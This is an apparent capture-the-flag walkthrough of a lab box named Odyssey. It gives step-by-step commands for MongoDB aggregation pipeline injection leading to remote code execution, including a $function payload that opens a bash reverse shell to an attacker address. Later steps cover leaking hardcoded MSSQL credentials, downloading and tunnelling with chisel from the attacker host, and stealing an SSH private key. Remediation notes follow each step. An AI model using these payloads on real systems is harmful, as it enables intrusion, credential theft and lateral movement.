← all walkthroughs

Odyssey

Windows· Insane· Credential Access
owned
2026-07-04
time to own
30m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a single internet-facing Node.js application (aegis-mds) on aegis.korvia.htb:3000, extracted client-side JavaScript to map its API, and found that an unauthenticated search endpoint accepted raw MongoDB aggregation pipeline stages — including $function, which executes arbitrary JavaScript. A separate unauthenticated diagnostic endpoint leaked the application's own source code, exposing hardcoded MSSQL credentials for an internal database server at $INTERNAL_HOST.

The pipeline injection was escalated to remote code execution, a chisel tunnel was built through the compromised Node host to reach the internal MSSQL server, and an SSH private key stored on the foothold was stolen to move laterally and capture the user flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconService Enumeration / HTTP Banner Grabbing
Discovered the Aegis web application on port 3000
A full TCP port scan against $TARGET revealed one exposed service on port 3000. The server immediately redirected plain-IP connections to the hostname aegis.korvia.htb, confirming a virtual-host-based Node.js/Express application named aegis-mds that required WebAuthn authentication to access any privileged function.
Exact commands 3
Full TCP scan with version detection against the target.
nmap -sV -sC -p- --min-rate 5000 -oA /home/kali/lab/current/nmap_full $TARGET
Add the resolved virtual hostname before further enumeration.
echo "$TARGET aegis.korvia.htb" >> /etc/hosts
Confirm the Express app and observe the redirect to /login.
curl -i -sS --max-time 15 http://aegis.korvia.htb:3000/
2EnumerationJavaScript Source Analysis / Passive API Discovery
Mapped all API routes by analysing client-side JavaScript
The /login page loaded two publicly readable JavaScript bundles — webauthn.js and main.js. Grepping for path-like string literals inside those files exposed every API route the server handled, including the unauthenticated search endpoint, WebAuthn ceremony paths, and the internal diagnostics path /api/v1/aegis-mds/_diag, which would later leak source code.
Exact commands 2
Download both client-side JavaScript bundles.
curl -sS http://aegis.korvia.htb:3000/js/webauthn.js -o /home/kali/lab/current/webauthn.js && curl -sS http://aegis.korvia.htb:3000/js/main.js -o /home/kali/lab/current/main.js
Extract all path-like string literals to enumerate API routes.
grep -RhoE "['\"/][a-zA-Z0-9_./-]+['\"]" /home/kali/lab/current/webauthn.js /home/kali/lab/current/main.js | sort -u
FixDisable or authenticate the diagnostic API endpoint in productionHigh
WeaknessThe /api/v1/aegis-mds/_diag/<token>/jpq route was reachable without any session or credential check. It accepted a JSONPath expression and reflected the full application runtime configuration, effectively handing any internet user a map of the application's internals.
FixRemove all diagnostic and introspection endpoints from production builds by gating them on NODE_ENV !== 'production'. If a diagnostic route is operationally necessary, place it behind strong server-side authentication (session or API key validated server-side) and restrict its source IP to an internal management network or VPN. A URL token is not access control — it is a guessable secret.
3Vuln IdentificationNoSQL Operator Injection / MongoDB Aggregation Injection
Confirmed unauthenticated MongoDB aggregation pipeline injection in the search endpoint
The /api/v1/aegis-mds/search endpoint accepted a pipeline query parameter and forwarded the caller's array of aggregation stages directly to the MongoDB driver. A server-side denylist blocked $lookup, $group, and $skip, but permitted $sort, $match, $project, and $limit. Receiving structured query results in response to injected stages confirmed arbitrary operator injection without any authentication.
Exact commands 3
URL-encoded pipeline=[{"$sort":{"vendor":1}},{"$limit":1}] — confirms $sort is accepted.
curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/search?pipeline=%5B%7B%22%24sort%22%3A%7B%22vendor%22%3A1%7D%7D%2C%7B%22%24limit%22%3A1%7D%5D'
URL-encoded pipeline=[{"$match":{"vendor":"Yubico"}},{"$limit":1}] — confirms $match filtering works.
curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/search?pipeline=%5B%7B%22%24match%22%3A%7B%22vendor%22%3A%22Yubico%22%7D%7D%2C%7B%22%24limit%22%3A1%7D%5D'
Attempt $lookup (cross-collection join) — expect 400 to map the denylist boundary.
curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/search?pipeline=%5B%7B%22%24lookup%22%3A%7B%22from%22%3A%22users%22%2C%22localField%22%3A%22_id%22%2C%22foreignField%22%3A%22_id%22%2C%22as%22%3A%22u%22%7D%7D%5D'
FixEliminate MongoDB aggregation pipeline injection in the search APICritical
WeaknessThe /api/v1/aegis-mds/search endpoint accepted a raw, caller-supplied pipeline array and forwarded it to the MongoDB aggregation engine with only a partial denylist. An unauthorised user could inject $function to execute arbitrary JavaScript inside the database process, achieving remote code execution.
FixReplace the open pipeline parameter with tightly scoped, application-defined query parameters (e.g., q for a keyword and limit for page size). Reconstruct the aggregation pipeline entirely on the server side from those sanitised inputs. If a richer query API is genuinely needed, enforce authentication first, then apply a strict allowlist of safe stages ($match, $sort, $limit, $project only) and reject any other stage name — including $function, $where, $accumulator, $merge, and $out — before the pipeline reaches the driver.
4Credential AccessInformation Disclosure / Hardcoded Credentials (CWE-798)
Leaked hardcoded MSSQL credentials through the unauthenticated diagnostic endpoint
The diagnostic route /api/v1/aegis-mds/_diag/<token>/jpq accepted a JSONPath expression and reflected the application's runtime configuration tree. Because no session or privilege check protected it, querying the database config node returned the Node.js source containing hardcoded fallback values: MSSQL server $INTERNAL_HOST:1433, database 'aegis', user 'odyssey_app', password '[REDACTED: recovered credential]'. These fallback literals are active whenever the corresponding environment variables are absent.
Exact commands 2
Replace <token> with the value found in the JS bundles. JSONPath $.* or $.. Dumps the full config tree including the database stanza.
curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/_diag/<token>/jpq?expr=$..' | python3 -m json.tool
Target the database config key specifically to extract server, user, and password fields.
curl -sS 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/_diag/<token>/jpq?expr=$.database'
FixRemove hardcoded database credentials and rotate the exposed secretCritical
WeaknessThe Node.js source contained literal fallback values for the MSSQL username and password. Any disclosure of that source — via a diagnostic endpoint, a misconfigured repository, or a leaked bundle — immediately delivered working database credentials to an unauthorised user.
FixDelete every hardcoded credential literal from the codebase. Require the AEGIS_SQL_USER and AEGIS_SQL_PASS environment variables to be present and non-empty at startup; abort with a startup error rather than falling back to a compiled-in default. Inject secrets at deploy time through a secrets manager or the platform's environment configuration. Immediately rotate the 'odyssey_app' MSSQL password on $INTERNAL_HOST and audit git history to confirm the literal was never committed to a repository.
5ExploitationServer-Side JavaScript Execution via MongoDB $function (MITRE T1059.007)
Escalated aggregation injection to remote code execution via $function
MongoDB's $function aggregation stage executes arbitrary JavaScript inside the database engine process. Because the denylist only blocked a narrow set of named stages and $function was not in it, I injected a $function payload that invoked Node's child_process.execSync to open a reverse bash shell back to my machine. The Node.js host made an outbound TCP connection, delivering an interactive shell running as the application service account.
Exact commands 2
Start the reverse-shell listener on Kali ($ATTACKER_IP) before sending the payload.
nc -lvnp 4444
Run the injection script below. Save as inject_rce.py first: import requests, json pipeline = [{'$function': {'body': 'function(){const cp=require("child_process");cp.exec("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"");return []}', 'args': [], 'lang': 'js'}}] requests.get('http://aegis.korvia.htb:3000/api/v1/aegis-mds/search', params={'pipeline': json.dumps(pipeline)})
python3 /home/kali/lab/current/inject_rce.py
6Post-ExploitationTunneling / Protocol Tunneling (MITRE T1572)
Pivoted to the internal MSSQL server using a chisel tunnel
From the foothold shell, network inspection confirmed that $INTERNAL_HOST2/24 was directly attached to the Node host but filtered from my Kali machine. I downloaded a static chisel binary from their own HTTP server onto the target, launched chisel in reverse-proxy mode to create a SOCKS5 tunnel back to Kali, then used proxychains to route impacket-mssqlclient through the tunnel and authenticate to $INTERNAL_HOST:1433 with the harvested credentials.
Exact commands 5
Run on the foothold shell to confirm the $INTERNAL_HOST2/24 route and that MSSQL is not locally exposed.
ip a; ip route; ss -tnlp
Run on Kali ($ATTACKER_IP) to accept the inbound tunnel.
./chisel server --reverse --port 8888
Run on the foothold shell to download the chisel client binary from the Kali HTTP server.
curl http://$ATTACKER_IP:8000/chisel -o /home/kali/lab/current/chisel && chmod +x /home/kali/lab/current/chisel
Run on the foothold shell to open a reverse SOCKS5 tunnel back to Kali.
/home/kali/lab/current/chisel client $ATTACKER_IP:8888 R:socks &
Authenticate to internal MSSQL via the SOCKS5 tunnel. If auth fails, read the live env on the foothold first: env | grep -i AEGIS_SQL to check whether the env var overrides the hardcoded default.
proxychains impacket-mssqlclient "odyssey_app:$PASSWORD@$INTERNAL_HOST" -port 1433 -db aegis
7Lateral MovementSSH Private Key Theft (MITRE T1552.004)
Stole an SSH private key from the foothold to reach the next host and capture the user flag
With an interactive shell on the Node application host, I searched the service account's home directory and any world-readable paths for SSH private keys. An unencrypted key was found and copied to my machine. Using that key to authenticate over SSH to a second host on the network, I gained access as the key's owner and read the user flag from that account's home directory.
Exact commands 5
Locate SSH private keys readable from the current foothold user.
find / -maxdepth 6 \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' \) 2>/dev/null | xargs ls -la 2>/dev/null
Read the discovered private key and copy its contents to Kali.
cat ~/.ssh/id_rsa
Fix permissions on the copied key file before use.
chmod 600 /home/kali/lab/current/stolen_id_rsa
Replace <username> and <lateral-target-ip> with the key owner and destination found during enumeration (check ~/.ssh/authorized_keys and /etc/hosts on the foothold).
ssh -i /home/kali/lab/current/stolen_id_rsa <username>@<lateral-target-ip>
Capture the user flag: <user.txt>
cat ~/user.txt
FixRestrict SSH private key access and enforce passphrase protectionHigh
WeaknessAn SSH private key stored on the Node application host was readable by the compromised application service account. An unauthorised user with a shell on that host could copy the key and authenticate to other internal hosts with no further credential.
FixSet ownership of every SSH private key to the individual user who owns it (chown user:user ~/.ssh/id_*) and restrict permissions to 600 (chmod 600). Keys used for automated service-to-service authentication must be passphrase-protected or replaced by short-lived certificates. Audit all .ssh directories across every application host, remove stale or misplaced keys, and ensure the application service account has no SSH key material unless it legitimately needs to initiate outbound SSH connections.